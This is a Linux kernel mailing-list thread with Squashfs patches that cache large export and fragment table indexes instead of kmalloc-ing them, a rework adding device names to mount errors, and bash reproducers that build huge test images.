@@ -136,11 +136,37 @@ static inline s32 squashfs_lookup_blocks(u32 inodes)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_lookup_block_bytes (u32 inodes) +static inline s32 squashfs_lookup_blocks_bytes (u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } +static inline s32 squashfs_lookup_blocks_base (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_lookup_blocks_start (u32 inodes,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_lookup_blocks_base (inodes); +s64 start; + +if (S64_MAX - msblk->lookup_table < base) +return -EINVAL ; + + start = msblk->lookup_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_lookup_blocks_offset (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* uid lookup table defines */ static inline s32 squashfs_id_bytes (u16 ids) {
fs/squashfs/super.c +24 -12
@@ -177,6 +177,13 @@ static const struct squashfs_decompressor *supported_squashfs_filesystem(return decompressor; } +static void squashfs_free_inode_table (struct squashfs_sb_info *msblk) +{ +if (msblk->lookup_table_is_cache) +squashfs_cache_delete (msblk->inode_lookup_cache); +else +kfree (msblk->inode_lookup_array); +}static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {
@@ -187,8 +194,9 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)long long root_inode;unsigned short flags;unsigned int fragments; -u64 lookup_table_start, xattr_id_table_start, next_table; -int err, devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE ); +u64 xattr_id_table_start, next_table; +s64 err; +int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );TRACE ("Entered squashfs_fill_superblock\n" );
@@ -391,20 +399,24 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) next_table =le64_to_cpu (msblk->id_table[0 ]);/* Handle inode lookup table */ - lookup_table_start =le64_to_cpu (sblk->lookup_table_start); -if (lookup_table_start ==SQUASHFS_INVALID_BLK ) + msblk->lookup_table =le64_to_cpu (sblk->lookup_table_start); +if (msblk->lookup_table ==SQUASHFS_INVALID_BLK ) goto handle_fragments;/* Allocate and read inode lookup table */ - msblk->inode_lookup_table =squashfs_read_inode_lookup_table (sb, - lookup_table_start, next_table, msblk->inodes); -if (IS_ERR (msblk->inode_lookup_table)) { + err =squashfs_read_inode_lookup_table (sb, msblk->lookup_table, + next_table, msblk->inodes); +if (err <0 ) { +errorf (fc,"unable to read inode lookup table" ); + goto failed_mount; + } + + err =squashfs_inode_lookup_start (sb,1 ); +if (err <0 ) {errorf (fc,"unable to read inode lookup table" ); - err =PTR_ERR (msblk->inode_lookup_table); - msblk->inode_lookup_table =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->inode_lookup_table[0 ]); + next_table = msblk->lookup_table_start = err; sb->s_export_op = &squashfs_export_ops;
@@ -480,7 +492,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)if (msblk->cache_mapping)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk); -kfree (msblk->inode_lookup_table); +squashfs_free_inode_table (msblk);kfree (msblk->fragment_index);kfree (msblk->id_table);kfree (msblk->xattr_id_table);
@@ -603,7 +615,7 @@ static void squashfs_put_super(struct super_block *sb)kfree (sbi->id_table);kfree (sbi->fragment_index);kfree (sbi->meta_index); -kfree (sbi->inode_lookup_table); +squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;
Signature · 1 line
2.47.3
Re: [PATCH v2 17/22] Squashfs: don't store large export table indexes in memory
Quoted 12 lines · On Wed, 11 Nov 2026 23:43:57 +0000 Phillip Lougher <[email protected]>…
When mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition
kmalloc()is used to allocate memory, and this can fail when large amounts of memory are requested.Kmalloc()on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
Quoted 4 lines
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Thanks. This patch didn't anticipate the presence of Christian's "squashfs: identify device in mount errors". To make life easier I've staged Christian's patch behind this 22-patch series.
This required a bit of rework of Christian's patch. While in there I filled in a few more places which needed Christian's treatment and I made the whole thing more 80-column friendly where that made sense.
Please check:
From: Christian Loehle <[email protected]>
Subject: squashfs: identify device in mount errors
Date: Sat, 12 Sep 2026 15:53:14 +0100
Squashfs mount failures reported through fs_context do not identify the backing device, fix this by printing the block device.
Repeated automount failures used to be ambiguous, for example:
Filesystem uses "xz" compression. This is not supported
All of the affected errors occur after get_tree_bdev() has opened the block device and setup_bdev_super() has assigned sb->s_bdev. Use it to identify the failing Squashfs image even when the mount is retried. For example, the error above now reads:
Filesystem on loop0 uses "xz" compression. This is not supported
---
fs/squashfs/super.c | 48 ++++++++++++++++++++++++------------------ 1 file changed, 28 insertions(+), 20 deletions(-)
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-identify-device-in-mount-errors +28 -20
@@ -151,26 +151,26 @@ static int squashfs_parse_param(struct f }static const struct squashfs_decompressor *supported_squashfs_filesystem ( -struct fs_context *fc, +struct super_block *sb,struct fs_context *fc,short major,short minor,short id) {const struct squashfs_decompressor *decompressor;if (major <SQUASHFS_MAJOR ) { -errorf (fc,"Major/Minor mismatch, older Squashfs %d.%d " -"filesystems are unsupported" , major, minor); +errorf (fc,"Unsupported older Squashfs %d.%d filesystem on %pg" , + major, minor, sb->s_bdev);return NULL ; }else if (major >SQUASHFS_MAJOR || minor >SQUASHFS_MINOR ) { -errorf (fc,"Major/Minor mismatch, trying to mount newer " -"%d.%d filesystem" , major, minor); +errorf (fc,"Major/Minor mismatch, trying to mount newer %d.%d filesystem on %pg" , + major, minor, sb->s_bdev);errorf (fc,"Please update your kernel" );return NULL ; } decompressor =squashfs_lookup_decompressor (id);if (!decompressor->supported) { -errorf (fc,"Filesystem uses \"%s\" compression. This is not supported" , - decompressor->name); +errorf (fc,"Filesystem on %pg uses \"%s\" compression. This is not supported" , + sb->s_bdev, decompressor->name);return NULL ; }
@@ -217,7 +217,8 @@ static int squashfs_fill_super(struct suTRACE ("Entered squashfs_fill_superblock\n" );if (!devblksize) { -errorf (fc,"squashfs: unable to set blocksize\n" ); +errorf (fc,"squashfs: unable to set blocksize on %pg\n" , + sb->s_bdev);return -EINVAL ; }
@@ -246,7 +247,8 @@ static int squashfs_fill_super(struct su sblk =squashfs_read_table (sb,SQUASHFS_START ,sizeof (*sblk));if (IS_ERR (sblk)) { -errorf (fc,"unable to read squashfs_super_block" ); +errorf (fc,"unable to read squashfs_super_block on %pg" , + sb->s_bdev); err =PTR_ERR (sblk); sblk =NULL ; goto failed_mount;
@@ -271,7 +273,7 @@ static int squashfs_fill_super(struct su/* Check the MAJOR & MINOR versions and lookup compression type */ msblk->decompressor =supported_squashfs_filesystem ( - fc, + sb, fc,le16_to_cpu (sblk->s_major),le16_to_cpu (sblk->s_minor),le16_to_cpu (sblk->compression));
@@ -295,8 +297,8 @@ static int squashfs_fill_super(struct su* block size (by default 128K). This is currently not supported. */ if (PAGE_SIZE > msblk->block_size) { -errorf (fc,"Page size > filesystem block size (%d). This is " -"currently not supported!" , msblk->block_size); +errorf (fc,"Page size > filesystem block size (%d) on %pg is not supported" , + msblk->block_size, sb->s_bdev); goto failed_mount; }
@@ -355,7 +357,8 @@ static int squashfs_fill_super(struct su msblk->read_page =squashfs_cache_init ("data" ,SQUASHFS_READ_PAGES , msblk->block_size);if (IS_ERR (msblk->read_page)) { -errorf (fc,"Failed to allocate read_page block" ); +errorf (fc,"Failed to allocate read_page block for %pg" , + sb->s_bdev); err =PTR_ERR (msblk->read_page); goto failed_mount; }
@@ -394,7 +397,8 @@ static int squashfs_fill_super(struct su err =squashfs_read_xattr_id_table (sb, msblk->xattr_id_table, &msblk->xattr_table, &msblk->xattr_ids);if (err <0 ) { -errorf (fc,"unable to read xattr id index table" ); +errorf (fc,"unable to read xattr id index table on %pg" , + sb->s_bdev);if (err != -ENOTSUPP ) goto failed_mount; }
@@ -405,7 +409,7 @@ allocate_id_index_table: msblk->id_table =squashfs_read_id_index_table (sb,le64_to_cpu (sblk->id_table_start), next_table, msblk->ids);if (IS_ERR (msblk->id_table)) { -errorf (fc,"unable to read id index table" ); +errorf (fc,"unable to read id index table on %pg" , sb->s_bdev); err =PTR_ERR (msblk->id_table); msblk->id_table =NULL ; goto failed_mount;
@@ -421,13 +425,15 @@ allocate_id_index_table: err =squashfs_read_inode_lookup_table (sb, msblk->lookup_table, next_table, msblk->inodes);if (err <0 ) { -errorf (fc,"unable to read inode lookup table" ); +errorf (fc,"unable to read inode lookup table on %pg" , + sb->s_bdev); goto failed_mount; } err =squashfs_inode_lookup_start (sb,1 );if (err <0 ) { -errorf (fc,"unable to read inode lookup table" ); +errorf (fc,"unable to read inode lookup table on %pg" , + sb->s_bdev); goto failed_mount; } next_table = msblk->lookup_table_start = err;
@@ -450,13 +456,15 @@ handle_fragments: err =squashfs_read_fragment_index_table (sb, msblk->fragment_table, next_table, fragments);if (err <0 ) { -errorf (fc,"unable to read fragment index table" ); +errorf (fc,"unable to read fragment index table on %pg" , + sb->s_bdev); goto failed_mount; } err =squashfs_frag_lookup_start (sb,0 );if (err <0 ) { -errorf (fc,"unable to read fragment index table" ); +errorf (fc,"unable to read fragment index table on %pg" , + sb->s_bdev); goto failed_mount; } next_table = msblk->fragment_table_start = err;
@@ -502,7 +510,7 @@ check_directory_table:return 0 ; insanity: -errorf (fc,"squashfs image failed sanity check" ); +errorf (fc,"squashfs image on %pg failed sanity check" , sb->s_bdev); failed_mount:squashfs_cache_delete (msblk->block_cache);squashfs_cache_delete (msblk->fragment_cache);
_
Phillip Lougher
maintainerRe: [PATCH v2 17/22] Squashfs: don't store large export table indexes in memory
Quoted 23 lines · On Thu, 12 Nov 2026 11:09:27 -0800 Andrew Morton <[email protected]>…
Quoted 12 lines · On Wed, 11 Nov 2026 23:43:57 +0000 Phillip Lougher <[email protected]>…
When mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition
kmalloc()is used to allocate memory, and this can fail when large amounts of memory are requested.Kmalloc()on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.Quoted 4 lines
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Thanks. This patch didn't anticipate the presence of Christian's "squashfs: identify device in mount errors". To make life easier I've staged Christian's patch behind this 22-patch series.
Quoted 5 lines
This required a bit of rework of Christian's patch. While in there I filled in a few more places which needed Christian's treatment and I made the whole thing more 80-column friendly where that made sense.
Please check:
Thanks. It looks good to me.
Phillip
Andrew Morton
tree notice[to-be-updated] squashfs-dont-store-large-export-table-indexes-in-memory.patch removed from -mm tree
In reply to Phillip LougherThe quilt patch titled Subject: Squashfs: don't store large export table indexes in memory has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: don't store large export table indexes in memory
has been removed from the -mm tree. Its filename was
squashfs-dont-store-large-export-table-indexes-in-memory.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large export table indexes in memory
Date: Wed, 11 Nov 2026 23:43:57 +0000
When mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 540,540,568 inodes (540 million files). This will cause the export table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. Due to the large amount of inodes the Squashfs filesystem reproducer needs to be run on a 64-bit machine with around 60 GiB of memory (or swap).
The latest development Mksquashfs from the GitHub Squashfs-tools repository also needs to be used.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 27); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recovery -no-progress -comp lz4; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/export.c | 145 +++++++++++++++++++++---------- fs/squashfs/squashfs.h | 3 fs/squashfs/squashfs_fs_sb.h | 8 + fs/squashfs/squashfs_helpers.h | 28 +++++ fs/squashfs/super.c | 36 +++++-- 5 files changed, 160 insertions(+), 60 deletions(-)
fs/squashfs/export.c renamed from fs/squashfs/export.c~squashfs-dont-store-large-export-table-indexes-in-memory +100 -45
@@ -34,24 +34,64 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; +int err; + +if (msblk->lookup_table_is_cache) { +s32 length =squashfs_lookup_blocks_bytes (msblk->inodes); +s32 base =squashfs_lookup_blocks_base (ino_num -1 ); +s32 offset =squashfs_lookup_blocks_offset (ino_num -1 ); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_lookup_blocks_start (ino_num -1 , msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->inode_lookup_cache, start, + avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { + err = entry->error; +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 blk =squashfs_lookup_block (ino_num -1 ); + + start =le64_to_cpu (msblk->inode_lookup_array[blk]); + } + +if (start < msblk->lookup_table_start || start >= msblk->lookup_table) +return -EIO ; + +return start; +} +/* * Look-up inode number (ino) in table, returning the inode location. */ -static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) +static long long squashfs_inode_lookup (struct super_block *sb,u32 ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =squashfs_lookup_block (ino_num -1 ); -int offset =squashfs_lookup_block_offset (ino_num -1 ); -u64 start; +s32 offset =squashfs_lookup_block_offset (ino_num -1 ); +s64 start;__le64 ino;int err; -TRACE ("Entered squashfs_inode_lookup, inode_number = %d\n" , ino_num); +TRACE ("Entered squashfs_inode_lookup, inode_number = %u\n" , ino_num);if (ino_num ==0 || (ino_num -1 ) >= msblk->inodes)return -EINVAL ; - start =le64_to_cpu (msblk->inode_lookup_table[blk]); + start =squashfs_inode_lookup_start (sb, ino_num); +if (start <0 ) +return start; err =squashfs_read_metadata (sb, &ino, &start, &offset,sizeof (ino));if (err <0 )
@@ -113,14 +153,11 @@ static struct dentry *squashfs_get_paren/* * Read uncompressed inode lookup table indexes off disk into memory */ -__le64 *squashfs_read_inode_lookup_table (struct super_block *sb, +int squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =squashfs_lookup_block_bytes (inodes); -unsigned int indexes =squashfs_lookup_blocks (inodes); -int n; -__le64 *table; -u64 start, end; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_lookup_blocks_bytes (inodes);TRACE ("In read_inode_lookup_table, length %d\n" , length);
@@ -128,51 +165,69 @@ __le64 *squashfs_read_inode_lookup_table/* there should always be at least one inode */ if (inodes ==0 ) -return ERR_PTR (-EINVAL ); +return -EIO ;/* * The computed size of the lookup table (length bytes) should exactly * match the table start and end points */ -if (length != (next_table - lookup_table_start)) -return ERR_PTR (-EINVAL ); - - table =squashfs_read_table (sb, lookup_table_start, length); -if (IS_ERR (table)) -return table; +if (lookup_table_start >= next_table || + length != (next_table - lookup_table_start)) +return -EIO ; + +if (length <= (PAGE_SIZE *4 )) { +/* Read lookup table index into memory */ +s32 indexes =squashfs_lookup_blocks (inodes); +__le64 *array; +u64 start, end; +int n; + + array =squashfs_read_table (sb, lookup_table_start, length); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* array0], array[1], ... array[indexes - 1] store the locations +* of the compressed inode lookup blocks. Each entry should be +* less than the next (i.e. array[0] < array[1]), and the difference +* between them should be SQUASHFS_METADATA_SIZE or less. +* array[indexes - 1] should be less than lookup_array_start, and +* again the difference should be SQUASHFS_METADATA_SIZE or less +*/ +for (n =0 ; n < (indexes -1 ); n++) { + start =le64_to_cpu (array[n]); + end =le64_to_cpu (array[n +1 ]); + +if (start >= end || (end - start) > (SQUASHFS_METADATA_SIZE + +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; + } + } -/* -* table0], table[1], ... table[indexes - 1] store the locations -* of the compressed inode lookup blocks. Each entry should be -* less than the next (i.e. table[0] < table[1]), and the difference -* between them should be SQUASHFS_METADATA_SIZE or less. -* table[indexes - 1] should be less than lookup_table_start, and -* again the difference should be SQUASHFS_METADATA_SIZE or less -*/ -for (n =0 ; n < (indexes -1 ); n++) { - start =le64_to_cpu (table[n]); - end =le64_to_cpu (table[n +1 ]); - -if (start >= end - || (end - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + start =le64_to_cpu (array[indexes -1 ]); +if (start >= lookup_table_start || (lookup_table_start - start) > + (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; } - } - start =le64_to_cpu (table[indexes -1 ]); -if (start >= lookup_table_start || - (lookup_table_start - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + msblk->inode_lookup_array = array; + msblk->lookup_table_is_cache = false; + }else { +/* Use a cache to store the last 4 pages of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("inode index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->inode_lookup_cache = cache; + msblk->lookup_table_is_cache = true; } -return table; +return 0 ; } -const struct export_operations squashfs_export_ops = { .encode_fh = generic_encode_ino32_fh, .fh_to_dentry = squashfs_fh_to_dentry,
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-export-table-indexes-in-memory +7 -1
@@ -64,11 +64,16 @@ struct squashfs_sb_info {struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream; -__le64 *inode_lookup_table; +union { +__le64 *inode_lookup_array; +struct squashfs_cache *inode_lookup_cache; + };u64 inode_table;u64 directory_table;u64 directory_table_end;u64 xattr_table; +u64 lookup_table; +u64 lookup_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -79,5 +84,6 @@ struct squashfs_sb_info {bool panic_on_errors;const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num; + bool lookup_table_is_cache; };#endif
fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-dont-store-large-export-table-indexes-in-memory +2 -1
@@ -64,8 +64,9 @@ extern const struct squashfs_decompresso#endif /* export.c */ -extern __le64 *squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 , +extern int squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-export-table-indexes-in-memory +27 -1
@@ -136,11 +136,37 @@ static inline s32 squashfs_lookup_blocksSQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_lookup_block_bytes (u32 inodes) +static inline s32 squashfs_lookup_blocks_bytes (u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } +static inline s32 squashfs_lookup_blocks_base (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_lookup_blocks_start (u32 inodes,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_lookup_blocks_base (inodes); +s64 start; + +if (S64_MAX - msblk->lookup_table < base) +return -EINVAL ; + + start = msblk->lookup_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_lookup_blocks_offset (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* uid lookup table defines */ static inline s32 squashfs_id_bytes (u16 ids) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-export-table-indexes-in-memory +24 -12
@@ -177,6 +177,13 @@ static const struct squashfs_decompressoreturn decompressor; } +static void squashfs_free_inode_table (struct squashfs_sb_info *msblk) +{ +if (msblk->lookup_table_is_cache) +squashfs_cache_delete (msblk->inode_lookup_cache); +else +kfree (msblk->inode_lookup_array); +}static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {
@@ -187,8 +194,9 @@ static int squashfs_fill_super(struct sulong long root_inode;unsigned short flags;unsigned int fragments; -u64 lookup_table_start, xattr_id_table_start, next_table; -int err, devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE ); +u64 xattr_id_table_start, next_table; +s64 err; +int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );TRACE ("Entered squashfs_fill_superblock\n" );
@@ -391,20 +399,24 @@ allocate_id_index_table: next_table =le64_to_cpu (msblk->id_table[0 ]);/* Handle inode lookup table */ - lookup_table_start =le64_to_cpu (sblk->lookup_table_start); -if (lookup_table_start ==SQUASHFS_INVALID_BLK ) + msblk->lookup_table =le64_to_cpu (sblk->lookup_table_start); +if (msblk->lookup_table ==SQUASHFS_INVALID_BLK ) goto handle_fragments;/* Allocate and read inode lookup table */ - msblk->inode_lookup_table =squashfs_read_inode_lookup_table (sb, - lookup_table_start, next_table, msblk->inodes); -if (IS_ERR (msblk->inode_lookup_table)) { + err =squashfs_read_inode_lookup_table (sb, msblk->lookup_table, + next_table, msblk->inodes); +if (err <0 ) { +errorf (fc,"unable to read inode lookup table" ); + goto failed_mount; + } + + err =squashfs_inode_lookup_start (sb,1 ); +if (err <0 ) {errorf (fc,"unable to read inode lookup table" ); - err =PTR_ERR (msblk->inode_lookup_table); - msblk->inode_lookup_table =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->inode_lookup_table[0 ]); + next_table = msblk->lookup_table_start = err; sb->s_export_op = &squashfs_export_ops;
@@ -480,7 +492,7 @@ failed_mount:if (msblk->cache_mapping)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk); -kfree (msblk->inode_lookup_table); +squashfs_free_inode_table (msblk);kfree (msblk->fragment_index);kfree (msblk->id_table);kfree (msblk->xattr_id_table);
@@ -603,7 +615,7 @@ static void squashfs_put_super(struct sukfree (sbi->id_table);kfree (sbi->fragment_index);kfree (sbi->meta_index); -kfree (sbi->inode_lookup_table); +squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;
_
Patches currently in -mm which might be from [email protected] are
squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 18/22 Squashfs: don't store large fragment table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire fragment table indexes into memory. Their size is determined by the number of fragments in the filesystem, where the maximum number of fragments is 2^32, and this will allocate and read 64 MiB.
This is an execessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory willl result in a kernel panic.
This commit uses a 4 page cache if the size of the fragment table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million fragments, which will cause the fragment table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to file 2049 bytes in size truncate -s 2049 a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v2: Widen offset in squashfs_frag_lookup_start() to s32, to prevent
overflow when PAGE_SIZE is 64 KiB or larger.
--- fs/squashfs/fragment.c | 99 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 ++- fs/squashfs/squashfs_helpers.h | 28 +++++++++- fs/squashfs/super.c | 32 +++++++---- 5 files changed, 136 insertions(+), 34 deletions(-)
fs/squashfs/fragment.c +78 -21
@@ -29,26 +29,67 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; + +if (msblk->fragment_index_is_cache) { +s32 length =squashfs_fragment_indexes_bytes (msblk->fragments); +s32 base =squashfs_fragment_indexes_base (fragment); +s32 offset =squashfs_fragment_indexes_offset (fragment); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_fragment_indexes_start (fragment, msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->fragment_index_cache, + start, avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { +int err = entry->error; + +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 block =squashfs_fragment_index (fragment); + + start =le64_to_cpu (msblk->fragment_index_array[block]); + } + +if (start < msblk->fragment_table_start || start >= msblk->fragment_table) +return -EIO ; + +return start; +} +/* * Look-up fragment using the fragment index table. Return the on disk * location of the fragment and its compressed size */ +int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block, offset, size; +s32 offset, size;struct squashfs_fragment_entry fragment_entry; -u64 start_block; +s64 start;if (fragment >= msblk->fragments)return -EIO ; - block =squashfs_fragment_index (fragment); - offset =squashfs_fragment_index_offset (fragment); - start_block =le64_to_cpu (msblk->fragment_index[block]); + start =squashfs_frag_lookup_start (sb, fragment); +if (start <0 ) +return start; - size =squashfs_read_metadata (sb, &fragment_entry, &start_block, + offset =squashfs_fragment_index_offset (fragment); + size =squashfs_read_metadata (sb, &fragment_entry, &start, &offset,sizeof (fragment_entry));if (size <0 )return size;
